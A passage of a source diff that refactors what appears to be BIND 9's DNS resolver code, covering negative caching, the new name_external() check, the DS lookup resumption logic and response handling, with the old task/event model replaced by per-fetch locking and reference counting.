+			 * cache rdataset (because no fetch is
+			 * interested in the outcome), or the cache
+			 * rdataset is not a negative cache entry.
+			 * Whichever case it is, we can return success.
 			 *
 			 * XXXRTH  There's a CNAME/DNAME problem here.
 			 */
@@ -6832,19 +6368,18 @@ ncache_adderesult(dns_message_t *message, dns_db_t *cache, dns_dbnode_t *node,
 	return (result);
 }
 
-static inline isc_result_t
+static isc_result_t
 ncache_message(fetchctx_t *fctx, dns_message_t *message,
 	       dns_adbaddrinfo_t *addrinfo, dns_rdatatype_t covers,
 	       isc_stdtime_t now) {
-	isc_result_t result, eresult;
-	dns_name_t *name;
-	dns_resolver_t *res;
-	dns_db_t **adbp;
-	dns_dbnode_t *node, **anodep;
-	dns_rdataset_t *ardataset;
-	bool need_validation, secure_domain;
-	dns_name_t *aname;
-	dns_fetchevent_t *event;
+	isc_result_t result, eresult = ISC_R_SUCCESS;
+	dns_name_t *name = fctx->name;
+	dns_resolver_t *res = fctx->res;
+	dns_db_t **adbp = NULL;
+	dns_dbnode_t *node = NULL, **anodep = NULL;
+	dns_rdataset_t *ardataset = NULL;
+	bool need_validation = false, secure_domain = false;
+	dns_fetchresponse_t *resp = NULL;
 	uint32_t ttl;
 	unsigned int valoptions = 0;
 	bool checknta = true;
@@ -6853,13 +6388,7 @@ ncache_message(fetchctx_t *fctx, dns_message_t *message,
 
 	FCTX_ATTR_CLR(fctx, FCTX_ATTR_WANTNCACHE);
 
-	res = fctx->res;
-	need_validation = false;
 	POST(need_validation);
-	secure_domain = false;
-	eresult = ISC_R_SUCCESS;
-	name = &fctx->name;
-	node = NULL;
 
 	/*
 	 * XXXMPA remove when we follow cnames and adjust the setting
@@ -6897,12 +6426,11 @@ ncache_message(fetchctx_t *fctx, dns_message_t *message,
 		/*
 		 * Mark all rdatasets as pending.
 		 */
-		dns_rdataset_t *trdataset;
-		dns_name_t *tname;
-
 		result = dns_message_firstname(message, DNS_SECTION_AUTHORITY);
 		while (result == ISC_R_SUCCESS) {
-			tname = NULL;
+			dns_rdataset_t *trdataset = NULL;
+			dns_name_t *tname = NULL;
+
 			dns_message_currentname(message, DNS_SECTION_AUTHORITY,
 						&tname);
 			for (trdataset = ISC_LIST_HEAD(tname->list);
@@ -6924,33 +6452,25 @@ ncache_message(fetchctx_t *fctx, dns_message_t *message,
 		 * Do negative response validation.
 		 */
 		result = valcreate(fctx, message, addrinfo, name, fctx->type,
-				   NULL, NULL, valoptions,
-				   res->buckets[fctx->bucketnum].task);
+				   NULL, NULL, valoptions);
 		/*
-		 * If validation is necessary, return now.  Otherwise continue
-		 * to process the message, letting the validation complete
-		 * in its own good time.
+		 * If validation is necessary, return now.  Otherwise
+		 * continue to process the message, letting the
+		 * validation complete in its own good time.
 		 */
 		return (result);
 	}
 
-	LOCK(&res->buckets[fctx->bucketnum].lock);
+	LOCK(&fctx->lock);
 
-	adbp = NULL;
-	aname = NULL;
-	anodep = NULL;
-	ardataset = NULL;
 	if (!HAVE_ANSWER(fctx)) {
-		event = ISC_LIST_HEAD(fctx->events);
-		if (event != NULL) {
-			adbp = &event->db;
-			aname = dns_fixedname_name(&event->foundname);
-			dns_name_copy(name, aname);
-			anodep = &event->node;
-			ardataset = event->rdataset;
+		resp = ISC_LIST_HEAD(fctx->resps);
+		if (resp != NULL) {
+			adbp = &resp->db;
+			dns_name_copy(name, resp->foundname);
+			anodep = &resp->node;
+			ardataset = resp->rdataset;
 		}
-	} else {
-		event = NULL;
 	}
 
 	result = dns_db_findnode(fctx->cache, name, true, &node);
@@ -6979,8 +6499,8 @@ ncache_message(fetchctx_t *fctx, dns_message_t *message,
 
 	if (!HAVE_ANSWER(fctx)) {
 		FCTX_ATTR_SET(fctx, FCTX_ATTR_HAVEANSWER);
-		if (event != NULL) {
-			event->result = eresult;
+		if (resp != NULL) {
+			resp->result = eresult;
 			if (adbp != NULL && *adbp != NULL) {
 				if (anodep != NULL && *anodep != NULL) {
 					dns_db_detachnode(*adbp, anodep);
@@ -6994,7 +6514,7 @@ ncache_message(fetchctx_t *fctx, dns_message_t *message,
 	}
 
 unlock:
-	UNLOCK(&res->buckets[fctx->bucketnum].lock);
+	UNLOCK(&fctx->lock);
 
 	if (node != NULL) {
 		dns_db_detachnode(fctx->cache, &node);
@@ -7003,10 +6523,10 @@ ncache_message(fetchctx_t *fctx, dns_message_t *message,
 	return (result);
 }
 
-static inline void
+static void
 mark_related(dns_name_t *name, dns_rdataset_t *rdataset, bool external,
 	     bool gluing) {
-	name->attributes |= DNS_NAMEATTR_CACHE;
+	name->attributes.cache = true;
 	if (gluing) {
 		rdataset->trust = dns_trust_glue;
 		/*
@@ -7023,7 +6543,7 @@ mark_related(dns_name_t *name, dns_rdataset_t *rdataset, bool external,
 	 * Avoid infinite loops by only marking new rdatasets.
 	 */
 	if (!CACHE(rdataset)) {
-		name->attributes |= DNS_NAMEATTR_CHASE;
+		name->attributes.chase = true;
 		rdataset->attributes |= DNS_RDATASETATTR_CHASE;
 	}
 	rdataset->attributes |= DNS_RDATASETATTR_CACHE;
@@ -7032,9 +6552,104 @@ mark_related(dns_name_t *name, dns_rdataset_t *rdataset, bool external,
 	}
 }
 
+/*
+ * Returns true if 'name' is external to the namespace for which
+ * the server being queried can answer, either because it's not a
+ * subdomain or because it's below a forward declaration or a
+ * locally served zone.
+ */
+static inline bool
+name_external(const dns_name_t *name, dns_rdatatype_t type, fetchctx_t *fctx) {
+	isc_result_t result;
+	dns_forwarders_t *forwarders = NULL;
+	dns_name_t *apex = NULL;
+	dns_name_t suffix;
+	dns_zone_t *zone = NULL;
+	unsigned int labels;
+	dns_namereln_t rel;
+
+	apex = (ISDUALSTACK(fctx->addrinfo) || !ISFORWARDER(fctx->addrinfo))
+		       ? fctx->domain
+		       : fctx->fwdname;
+
+	/*
+	 * The name is outside the queried namespace.
+	 */
+	rel = dns_name_fullcompare(name, apex, &(int){ 0 },
+				   &(unsigned int){ 0U });
+	if (rel != dns_namereln_subdomain && rel != dns_namereln_equal) {
+		return (true);
+	}
+
+	/*
+	 * If the record lives in the parent zone, adjust the name so we
+	 * look for the correct zone or forward clause.
+	 */
+	labels = dns_name_countlabels(name);
+	if (dns_rdatatype_atparent(type) && labels > 1U) {
+		dns_name_init(&suffix, NULL);
+		dns_name_getlabelsequence(name, 1, labels - 1, &suffix);
+		name = &suffix;
+	} else if (rel == dns_namereln_equal) {
+		/* If 'name' is 'apex', no further checking is needed. */
+		return (false);
+	}
+
+	/*
+	 * If there is a locally served zone between 'apex' and 'name'
+	 * then don't cache.
+	 */
+	dns_ztfind_t options = DNS_ZTFIND_NOEXACT | DNS_ZTFIND_MIRROR;
+	result = dns_view_findzone(fctx->res->view, name, options, &zone);
+	if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
+		dns_name_t *zname = dns_zone_getorigin(zone);
+		dns_namereln_t reln = dns_name_fullcompare(
+			zname, apex, &(int){ 0 }, &(unsigned int){ 0U });
+		dns_zone_detach(&zone);
+		if (reln == dns_namereln_subdomain) {
+			return (true);
+		}
+	}
+
+	/*
+	 * Look for a forward declaration below 'name'.
+	 */
+	result = dns_fwdtable_find(fctx->res->view->fwdtable, name,
+				   &forwarders);
+
+	if (ISFORWARDER(fctx->addrinfo)) {
+		/*
+		 * See if the forwarder declaration is better.
+		 */
+		if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
+			bool better = !dns_name_equal(forwarders->name,
+						      fctx->fwdname);
+			dns_forwarders_detach(&forwarders);
+			return (better);
+		}
+
+		/*
+		 * If the lookup failed, the configuration must have
+		 * changed: play it safe and don't cache.
+		 */
+		return (true);
+	} else if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
+		/*
+		 * If 'name' is covered by a 'forward only' clause then we
+		 * can't cache this response.
+		 */
+		bool nocache = (forwarders->fwdpolicy == dns_fwdpolicy_only &&
+				!ISC_LIST_EMPTY(forwarders->fwdrs));
+		dns_forwarders_detach(&forwarders);
+		return (nocache);
+	}
+
+	return (false);
+}
+
 static isc_result_t
 check_section(void *arg, const dns_name_t *addname, dns_rdatatype_t type,
-	      dns_section_t section) {
+	      dns_rdataset_t *found, dns_section_t section) {
 	respctx_t *rctx = arg;
 	fetchctx_t *fctx = rctx->fctx;
 	isc_result_t result;
@@ -7053,12 +6668,12 @@ check_section(void *arg, const dns_name_t *addname, dns_rdatatype_t type,
 #endif /* if CHECK_FOR_GLUE_IN_ANSWER */
 
 	gluing = (GLUING(fctx) || (fctx->type == dns_rdatatype_ns &&
-				   dns_name_equal(&fctx->name, dns_rootname)));
+				   dns_name_equal(fctx->name, dns_rootname)));
 
 	result = dns_message_findname(rctx->query->rmessage, section, addname,
 				      dns_rdatatype_any, 0, &name, NULL);
 	if (result == ISC_R_SUCCESS) {
-		external = !dns_name_issubdomain(name, &fctx->domain);
+		external = name_external(name, type, fctx);
 		if (type == dns_rdatatype_a) {
 			for (rdataset = ISC_LIST_HEAD(name->list);
 			     rdataset != NULL;
@@ -7070,7 +6685,8 @@ check_section(void *arg, const dns_name_t *addname, dns_rdatatype_t type,
 					rtype = rdataset->type;
 				}
 				if (rtype == dns_rdatatype_a ||
-				    rtype == dns_rdatatype_aaaa) {
+				    rtype == dns_rdatatype_aaaa)
+				{
 					mark_related(name, rdataset, external,
 						     gluing);
 				}
@@ -7079,6 +6695,9 @@ check_section(void *arg, const dns_name_t *addname, dns_rdatatype_t type,
 			result = dns_message_findtype(name, type, 0, &rdataset);
 			if (result == ISC_R_SUCCESS) {
 				mark_related(name, rdataset, external, gluing);
+				if (found != NULL) {
+					dns_rdataset_clone(rdataset, found);
+				}
 				/*
 				 * Do we have its SIG too?
 				 */
@@ -7098,8 +6717,10 @@ check_section(void *arg, const dns_name_t *addname, dns_rdatatype_t type,
 }
 
 static isc_result_t
-check_related(void *arg, const dns_name_t *addname, dns_rdatatype_t type) {
-	return (check_section(arg, addname, type, DNS_SECTION_ADDITIONAL));
+check_related(void *arg, const dns_name_t *addname, dns_rdatatype_t type,
+	      dns_rdataset_t *found DNS__DB_FLARG) {
+	return (check_section(arg, addname, type, found,
+			      DNS_SECTION_ADDITIONAL));
 }
 
 #ifndef CHECK_FOR_GLUE_IN_ANSWER
@@ -7108,8 +6729,9 @@ check_related(void *arg, const dns_name_t *addname, dns_rdatatype_t type) {
 
 #if CHECK_FOR_GLUE_IN_ANSWER
 static isc_result_t
-check_answer(void *arg, const dns_name_t *addname, dns_rdatatype_t type) {
-	return (check_section(arg, addname, type, DNS_SECTION_ANSWER));
+check_answer(void *arg, const dns_name_t *addname, dns_rdatatype_t type,
+	     dns_rdataset_t *found) {
+	return (check_section(arg, addname, type, found, DNS_SECTION_ANSWER));
 }
 #endif /* if CHECK_FOR_GLUE_IN_ANSWER */
 
@@ -7133,24 +6755,17 @@ is_answeraddress_allowed(dns_view_t *view, dns_name_t *name,
 	}
 
 	/*
-	 * If the owner name matches one in the exclusion list, either exactly
-	 * or partially, allow it.
+	 * If the owner name matches one in the exclusion list, either
+	 * exactly or partially, allow it.
 	 */
-	if (view->answeracl_exclude != NULL) {
-		dns_rbtnode_t *node = NULL;
-
-		result = dns_rbt_findnode(view->answeracl_exclude, name, NULL,
-					  &node, NULL, 0, NULL, NULL);
-
-		if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
-			return (true);
-		}
+	if (dns_nametree_covered(view->answeracl_exclude, name, NULL, 0)) {
+		return (true);
 	}
 
 	/*
-	 * Otherwise, search the filter list for a match for each address
-	 * record.  If a match is found, the address should be filtered,
-	 * so should the entire answer.
+	 * Otherwise, search the filter list for a match for each
+	 * address record.  If a match is found, the address should be
+	 * filtered, so should the entire answer.
 	 */
 	for (result = dns_rdataset_first(rdataset); result == ISC_R_SUCCESS;
 	     result = dns_rdataset_next(rdataset))
@@ -7191,11 +6806,6 @@ static bool
 is_answertarget_allowed(fetchctx_t *fctx, dns_name_t *qname, dns_name_t *rname,
 			dns_rdataset_t *rdataset, bool *chainingp) {
 	isc_result_t result;
-	dns_rbtnode_t *node = NULL;
-	char qnamebuf[DNS_NAME_FORMATSIZE];
-	char tnamebuf[DNS_NAME_FORMATSIZE];
-	char classbuf[64];
-	char typebuf[64];
 	dns_name_t *tname = NULL;
 	dns_rdata_cname_t cname;
 	dns_rdata_dname_t dname;
@@ -7242,56 +6852,50 @@ is_answertarget_allowed(fetchctx_t *fctx, dns_name_t *qname, dns_name_t *rname,
 		result = dns_name_concatenate(&prefix, &dname.dname, tname,
 					      NULL);
 		if (result == DNS_R_NAMETOOLONG) {
-			if (chainingp != NULL) {
-				*chainingp = true;
-			}
+			SET_IF_NOT_NULL(chainingp, true);
 			return (true);
 		}
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
-	if (chainingp != NULL) {
-		*chainingp = true;
-	}
+	SET_IF_NOT_NULL(chainingp, true);
 
 	if (view->denyanswernames == NULL) {
 		return (true);
 	}
 
 	/*
-	 * If the owner name matches one in the exclusion list, either exactly
-	 * or partially, allow it.
+	 * If the owner name matches one in the exclusion list, either
+	 * exactly or partially, allow it.
 	 */
-	if (view->answernames_exclude != NULL) {
-		result = dns_rbt_findnode(view->answernames_exclude, qname,
-					  NULL, &node, NULL, 0, NULL, NULL);
-		if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
-			return (true);
-		}
+	if (dns_nametree_covered(view->answernames_exclude, qname, NULL, 0)) {
+		return (true);
 	}
 
 	/*
-	 * If the target name is a subdomain of the search domain, allow it.
+	 * If the target name is a subdomain of the search domain, allow
+	 * it.
 	 *
-	 * Note that if BIND is configured as a forwarding DNS server, the
-	 * search domain will always match the root domain ("."), so we
-	 * must also check whether forwarding is enabled so that filters
-	 * can be applied; see GL #1574.
+	 * Note that if BIND is configured as a forwarding DNS server,
+	 * the search domain will always match the root domain ("."), so
+	 * we must also check whether forwarding is enabled so that
+	 * filters can be applied; see GL #1574.
 	 */
-	if (!fctx->forwarding && dns_name_issubdomain(tname, &fctx->domain)) {
+	if (!fctx->forwarding && dns_name_issubdomain(tname, fctx->domain)) {
 		return (true);
 	}
 
 	/*
 	 * Otherwise, apply filters.
 	 */
-	result = dns_rbt_findnode(view->denyanswernames, tname, NULL, &node,
-				  NULL, 0, NULL, NULL);
-	if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
+	if (dns_nametree_covered(view->denyanswernames, tname, NULL, 0)) {
+		char qnamebuf[DNS_NAME_FORMATSIZE];
+		char tnamebuf[DNS_NAME_FORMATSIZE];
+		char classbuf[64];
+		char typebuf[64];
 		dns_name_format(qname, qnamebuf, sizeof(qnamebuf));
 		dns_name_format(tname, tnamebuf, sizeof(tnamebuf));
 		dns_rdatatype_format(rdataset->type, typebuf, sizeof(typebuf));
@@ -7309,13 +6913,13 @@ is_answertarget_allowed(fetchctx_t *fctx, dns_name_t *qname, dns_name_t *rname,
 
 static void
 trim_ns_ttl(fetchctx_t *fctx, dns_name_t *name, dns_rdataset_t *rdataset) {
-	char ns_namebuf[DNS_NAME_FORMATSIZE];
-	char namebuf[DNS_NAME_FORMATSIZE];
-	char tbuf[DNS_RDATATYPE_FORMATSIZE];
-
 	if (fctx->ns_ttl_ok && rdataset->ttl > fctx->ns_ttl) {
+		char ns_namebuf[DNS_NAME_FORMATSIZE];
+		char namebuf[DNS_NAME_FORMATSIZE];
+		char tbuf[DNS_RDATATYPE_FORMATSIZE];
+
 		dns_name_format(name, ns_namebuf, sizeof(ns_namebuf));
-		dns_name_format(&fctx->name, namebuf, sizeof(namebuf));
+		dns_name_format(fctx->name, namebuf, sizeof(namebuf));
 		dns_rdatatype_format(fctx->type, tbuf, sizeof(tbuf));
 
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER,
@@ -7353,197 +6957,170 @@ validinanswer(dns_rdataset_t *rdataset, fetchctx_t *fctx) {
 	return (true);
 }
 
-static void
-fctx_increference(fetchctx_t *fctx) {
-	REQUIRE(VALID_FCTX(fctx));
-
-	isc_refcount_increment0(&fctx->references);
-}
-
-/*
- * Requires bucket lock to be held.
- */
-static bool
-fctx_decreference(fetchctx_t *fctx) {
-	bool bucket_empty = false;
+#if DNS_RESOLVER_TRACE
+ISC_REFCOUNT_TRACE_IMPL(fetchctx, fctx_destroy);
+#else
+ISC_REFCOUNT_IMPL(fetchctx, fctx_destroy);
+#endif
 
-	REQUIRE(VALID_FCTX(fctx));
+/* Must be fctx locked */
+static void
+release_fctx(fetchctx_t *fctx) {
+	isc_result_t result;
+	dns_resolver_t *res = fctx->res;
+	uint32_t hashval = isc_hashmap_hash(res->fctxs, fctx->key.key,
+					    fctx->key.size);
 
-	if (isc_refcount_decrement(&fctx->references) == 1) {
-		/*
-		 * No one cares about the result of this fetch anymore.
-		 */
-		if (fctx->pending == 0 && fctx->nqueries == 0 &&
-		    ISC_LIST_EMPTY(fctx->validators) && SHUTTINGDOWN(fctx))
-		{
-			/*
-			 * This fctx is already shutdown; we were just
-			 * waiting for the last reference to go away.
-			 */
-			bucket_empty = fctx_unlink(fctx);
-			fctx_destroy(fctx);
-		} else {
-			/*
-			 * Initiate shutdown.
-			 */
-			fctx_shutdown(fctx);
-		}
+	if (!fctx->hashed) {
+		return;
 	}
-	return (bucket_empty);
+
+	RWLOCK(&res->fctxs_lock, isc_rwlocktype_write);
+	result = isc_hashmap_delete(res->fctxs, &hashval, fctx->key.key,
+				    fctx->key.size);
+	INSIST(result == ISC_R_SUCCESS);
+	fctx->hashed = false;
+	RWUNLOCK(&res->fctxs_lock, isc_rwlocktype_write);
 }
 
 static void
-resume_dslookup(isc_task_t *task, isc_event_t *event) {
-	dns_fetchevent_t *fevent;
-	dns_resolver_t *res;
-	fetchctx_t *fctx;
+resume_dslookup(void *arg) {
+	dns_fetchresponse_t *resp = (dns_fetchresponse_t *)arg;
+	fetchctx_t *fctx = resp->arg;
+	isc_loop_t *loop = resp->loop;
 	isc_result_t result;
-	bool bucket_empty;
+	dns_resolver_t *res = NULL;
+	dns_rdataset_t *frdataset = NULL, *nsrdataset = NULL;
 	dns_rdataset_t nameservers;
 	dns_fixedname_t fixed;
-	dns_name_t *domain;
+	dns_name_t *domain = NULL;
+	unsigned int n;
+	dns_fetch_t *fetch = NULL;
 
-	REQUIRE(event->ev_type == DNS_EVENT_FETCHDONE);
-	fevent = (dns_fetchevent_t *)event;
-	fctx = event->ev_arg;
+	REQUIRE(resp->type == FETCHDONE);
 	REQUIRE(VALID_FCTX(fctx));
+
 	res = fctx->res;
 
-	UNUSED(task);
+	REQUIRE(fctx->tid == isc_tid());
+
 	FCTXTRACE("resume_dslookup");
 
-	if (fevent->node != NULL) {
-		dns_db_detachnode(fevent->db, &fevent->node);
+	if (resp->node != NULL) {
+		dns_db_detachnode(resp->db, &resp->node);
 	}
-	if (fevent->db != NULL) {
-		dns_db_detach(&fevent->db);
+	if (resp->db != NULL) {
+		dns_db_detach(&resp->db);
 	}
 
-	dns_rdataset_init(&nameservers);
+	/* Preserve data from resp before freeing it. */
+	frdataset = resp->rdataset;
+	result = resp->result;
+	isc_mem_putanddetach(&resp->mctx, resp, sizeof(*resp));
 
-	/*
-	 * Note: fevent->rdataset must be disassociated and
-	 * isc_event_free(&event) be called before resuming
-	 * processing of the 'fctx' to prevent use-after-free.
-	 * 'fevent' is set to NULL so as to not have a dangling
-	 * pointer.
-	 */
-	if (fevent->result == ISC_R_CANCELED) {
-		if (dns_rdataset_isassociated(fevent->rdataset)) {
-			dns_rdataset_disassociate(fevent->rdataset);
-		}
-		fevent = NULL;
-		isc_event_free(&event);
+	LOCK(&fctx->lock);
+	if (SHUTTINGDOWN(fctx)) {
+		result = ISC_R_SHUTTINGDOWN;
+	}
+	UNLOCK(&fctx->lock);
+
+	fetch = fctx->nsfetch;
+	fctx->nsfetch = NULL;
+
+	FTRACE("resume_dslookup");
 
-		dns_resolver_destroyfetch(&fctx->nsfetch);
-		fctx_done(fctx, ISC_R_CANCELED, __LINE__);
-	} else if (fevent->result == ISC_R_SUCCESS) {
+	switch (result) {
+	case ISC_R_SUCCESS:
 		FCTXTRACE("resuming DS lookup");
 
-		dns_resolver_destroyfetch(&fctx->nsfetch);
 		if (dns_rdataset_isassociated(&fctx->nameservers)) {
 			dns_rdataset_disassociate(&fctx->nameservers);
 		}
-		dns_rdataset_clone(fevent->rdataset, &fctx->nameservers);
+		dns_rdataset_clone(frdataset, &fctx->nameservers);
+
 		fctx->ns_ttl = fctx->nameservers.ttl;
 		fctx->ns_ttl_ok = true;
 		log_ns_ttl(fctx, "resume_dslookup");
 
-		if (dns_rdataset_isassociated(fevent->rdataset)) {
-			dns_rdataset_disassociate(fevent->rdataset);
-		}
-		fevent = NULL;
-		isc_event_free(&event);
-
 		fcount_decr(fctx);
-		dns_name_free(&fctx->domain, fctx->mctx);
-		dns_name_init(&fctx->domain, NULL);
-		dns_name_dup(&fctx->nsname, fctx->mctx, &fctx->domain);
+		dns_name_copy(fctx->nsname, fctx->domain);
 		result = fcount_incr(fctx, true);
 		if (result != ISC_R_SUCCESS) {
-			fctx_done(fctx, DNS_R_SERVFAIL, __LINE__);
 			goto cleanup;
 		}
-		/*
-		 * Try again.
-		 */
+
+		/* Try again. */
 		fctx_try(fctx, true, false);
-	} else {
-		unsigned int n;
-		dns_rdataset_t *nsrdataset = NULL;
+		break;
+
+	case ISC_R_SHUTTINGDOWN:
+	case ISC_R_CANCELED:
+		/* Don't try anymore */
+		goto cleanup;
 
+	default:
 		/*
-		 * Retrieve state from fctx->nsfetch before we destroy it.
+		 * If the chain of resume_dslookup() invocations managed to
+		 * chop off enough labels from the original DS owner name to
+		 * reach the top of the namespace, no further progress can be
+		 * made.  Interrupt the DS chasing process, returning SERVFAIL.
 		 */
-		domain = dns_fixedname_initname(&fixed);
-		dns_name_copy(&fctx->nsfetch->private->domain, domain);
-		if (dns_name_equal(&fctx->nsname, domain)) {
-			if (dns_rdataset_isassociated(fevent->rdataset)) {
-				dns_rdataset_disassociate(fevent->rdataset);
-			}
-			fevent = NULL;
-			isc_event_free(&event);
-
-			fctx_done(fctx, DNS_R_SERVFAIL, __LINE__);
-			dns_resolver_destroyfetch(&fctx->nsfetch);
+		if (dns_name_equal(fctx->nsname, fetch->private->domain)) {
+			result = DNS_R_SERVFAIL;
 			goto cleanup;
 		}
-		if (dns_rdataset_isassociated(
-			    &fctx->nsfetch->private->nameservers)) {
-			dns_rdataset_clone(&fctx->nsfetch->private->nameservers,
+
+		/* Get nameservers from fetch before we destroy it. */
+		dns_rdataset_init(&nameservers);
+		if (dns_rdataset_isassociated(&fetch->private->nameservers)) {
+			dns_rdataset_clone(&fetch->private->nameservers,
 					   &nameservers);
 			nsrdataset = &nameservers;
-		} else {
-			domain = NULL;
-		}
-		dns_resolver_destroyfetch(&fctx->nsfetch);
-		n = dns_name_countlabels(&fctx->nsname);
-		dns_name_getlabelsequence(&fctx->nsname, 1, n - 1,
-					  &fctx->nsname);
 
-		if (dns_rdataset_isassociated(fevent->rdataset)) {
-			dns_rdataset_disassociate(fevent->rdataset);
+			/* Get domain from fetch before we destroy it. */
+			domain = dns_fixedname_initname(&fixed);
+			dns_name_copy(fetch->private->domain, domain);
 		}
-		fevent = NULL;
-		isc_event_free(&event);
+
+		n = dns_name_countlabels(fctx->nsname);
+		dns_name_getlabelsequence(fctx->nsname, 1, n - 1, fctx->nsname);
 
 		FCTXTRACE("continuing to look for parent's NS records");
 
+		fetchctx_ref(fctx);
 		result = dns_resolver_createfetch(
-			fctx->res, &fctx->nsname, dns_rdatatype_ns, domain,
-			nsrdataset, NULL, NULL, 0, fctx->options, 0, NULL, task,
+			res, fctx->nsname, dns_rdatatype_ns, domain, nsrdataset,
+			NULL, NULL, 0, fctx->options, 0, NULL, loop,
 			resume_dslookup, fctx, &fctx->nsrrset, NULL,
 			&fctx->nsfetch);
-		/*
-		 * fevent->rdataset (a.k.a. fctx->nsrrset) must not be
-		 * accessed below this point to prevent races with
-		 * another thread concurrently processing the fetch.
-		 */
 		if (result != ISC_R_SUCCESS) {
+			fetchctx_unref(fctx);
 			if (result == DNS_R_DUPLICATE) {
 				result = DNS_R_SERVFAIL;
 			}
-			fctx_done(fctx, result, __LINE__);
-		} else {
-			fctx_increference(fctx);
+		}
+
+		if (dns_rdataset_isassociated(&nameservers)) {
+			dns_rdataset_disassociate(&nameservers);
 		}
 	}
 
 cleanup:
-	INSIST(event == NULL);
-	INSIST(fevent == NULL);
-	if (dns_rdataset_isassociated(&nameservers)) {
-		dns_rdataset_disassociate(&nameservers);
+	dns_resolver_destroyfetch(&fetch);
+
+	if (dns_rdataset_isassociated(frdataset)) {
+		dns_rdataset_disassociate(frdataset);
 	}
-	LOCK(&res->buckets[fctx->bucketnum].lock);
-	bucket_empty = fctx_decreference(fctx);
-	UNLOCK(&res->buckets[fctx->bucketnum].lock);
-	if (bucket_empty) {
-		empty_bucket(res);
+
+	if (result != ISC_R_SUCCESS) {
+		/* An error occurred, tear down whole fctx */
+		fctx_done_unref(fctx, result);
 	}
+
+	fetchctx_detach(&fctx);
 }
 
-static inline void
+static void
 checknamessection(dns_message_t *message, dns_section_t section) {
 	isc_result_t result;
 	dns_name_t *name;
@@ -7629,7 +7206,7 @@ log_nsid(isc_buffer_t *opt, size_t nsid_len, resquery_t *query, int level,
 	isc_mem_put(mctx, buf, buflen);
 }
 
-static inline bool
+static bool
 iscname(dns_message_t *message, dns_name_t *name) {
 	isc_result_t result;
 
@@ -7653,7 +7230,7 @@ betterreferral(respctx_t *rctx) {
 		name = NULL;
 		dns_message_currentname(rctx->query->rmessage,
 					DNS_SECTION_AUTHORITY, &name);
-		if (!isstrictsubdomain(name, &rctx->fctx->domain)) {
+		if (!isstrictsubdomain(name, rctx->fctx->domain)) {
 			continue;
 		}
 		for (rdataset = ISC_LIST_HEAD(name->list); rdataset != NULL;
@@ -7673,40 +7250,56 @@ betterreferral(respctx_t *rctx) {
  * resquery_send(). Sets up a response context (respctx_t).
  */
 static void
-resquery_response(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result = ISC_R_SUCCESS;
-	resquery_t *query = event->ev_arg;
-	dns_dispatchevent_t *devent = (dns_dispatchevent_t *)event;
-	fetchctx_t *fctx;
+resquery_response(isc_result_t eresult, isc_region_t *region, void *arg) {
+	isc_result_t result;
+	resquery_t *query = (resquery_t *)arg;
+	fetchctx_t *fctx = NULL;
 	respctx_t rctx;
 
+	if (eresult == ISC_R_CANCELED) {
+		return;
+	}
+
 	REQUIRE(VALID_QUERY(query));
 	fctx = query->fctx;
 	REQUIRE(VALID_FCTX(fctx));
-	REQUIRE(event->ev_type == DNS_EVENT_DISPATCH);
+	REQUIRE(fctx->tid == isc_tid());
 
 	QTRACE("response");
 
+	if (eresult == ISC_R_TIMEDOUT) {
+		result = resquery_timeout(query);
+		if (result == ISC_R_COMPLETE) {
+			return;
+		}
+	}
+
 	if (isc_sockaddr_pf(&query->addrinfo->sockaddr) == PF_INET) {
 		inc_stats(fctx->res, dns_resstatscounter_responsev4);
 	} else {
 		inc_stats(fctx->res, dns_resstatscounter_responsev6);
 	}
 
-	(void)isc_timer_touch(fctx->timer);
+	rctx_respinit(query, fctx, eresult, region, &rctx);
 
-	rctx_respinit(task, devent, query, fctx, &rctx);
-
-	if (atomic_load_acquire(&fctx->res->exiting)) {
+	if (eresult == ISC_R_SHUTTINGDOWN ||
+	    atomic_load_acquire(&fctx->res->exiting))
+	{
 		result = ISC_R_SHUTTINGDOWN;
 		FCTXTRACE("resolver shutting down");
+		rctx.finish = NULL;
 		rctx_done(&rctx, result);
 		return;
 	}
 
-	fctx->timeouts = 0;
-	fctx->timeout = false;
+	result = rctx_timedout(&rctx);
+	if (result == ISC_R_COMPLETE) {
+		return;
+	}
+
 	fctx->addrinfo = query->addrinfo;
+	fctx->timeout = false;
+	fctx->timeouts = 0;
 
 	/*
 	 * Check whether the dispatcher has failed; if so we're done
@@ -7717,15 +7310,10 @@ resquery_response(isc_task_t *task, isc_event_t *event) {
 	}
 
 	if (query->tsig != NULL) {
-		result = dns_message_setquerytsig(query->rmessage, query->tsig);
-		if (result != ISC_R_SUCCESS) {
-			FCTXTRACE3("unable to set query tsig", result);
-			rctx_done(&rctx, result);
-			return;
-		}
+		dns_message_setquerytsig(query->rmessage, query->tsig);
 	}
 
-	if (query->tsigkey) {
+	if (query->tsigkey != NULL) {
 		result = dns_message_settsigkey(query->rmessage,
 						query->tsigkey);
 		if (result != ISC_R_SUCCESS) {
@@ -7739,9 +7327,8 @@ resquery_response(isc_task_t *task, isc_event_t *event) {
 
 	if ((rctx.retryopts & DNS_FETCHOPT_TCP) == 0) {
 		if ((rctx.retryopts & DNS_FETCHOPT_NOEDNS0) == 0) {
-			dns_adb_setudpsize(
-				fctx->adb, query->addrinfo,
-				isc_buffer_usedlength(&devent->buffer));
+			dns_adb_setudpsize(fctx->adb, query->addrinfo,
+					   isc_buffer_usedlength(&rctx.buffer));
 		} else {
 			dns_adb_plainresponse(fctx->adb, query->addrinfo);
 		}
@@ -7796,9 +7383,9 @@ resquery_response(isc_task_t *task, isc_event_t *event) {
 
 	/*
 	 * Is the question the same as the one we asked?
-	 * NOERROR/NXDOMAIN/YXDOMAIN/REFUSED/SERVFAIL/BADCOOKIE must have
-	 * the same question.
-	 * FORMERR/NOTIMP if they have a question section then it must match.
+	 * NOERROR/NXDOMAIN/YXDOMAIN/REFUSED/SERVFAIL/BADCOOKIE must
+	 * have the same question. FORMERR/NOTIMP if they have a
+	 * question section then it must match.
 	 */
 	switch (query->rmessage->rcode) {
 	case dns_rcode_notimp:
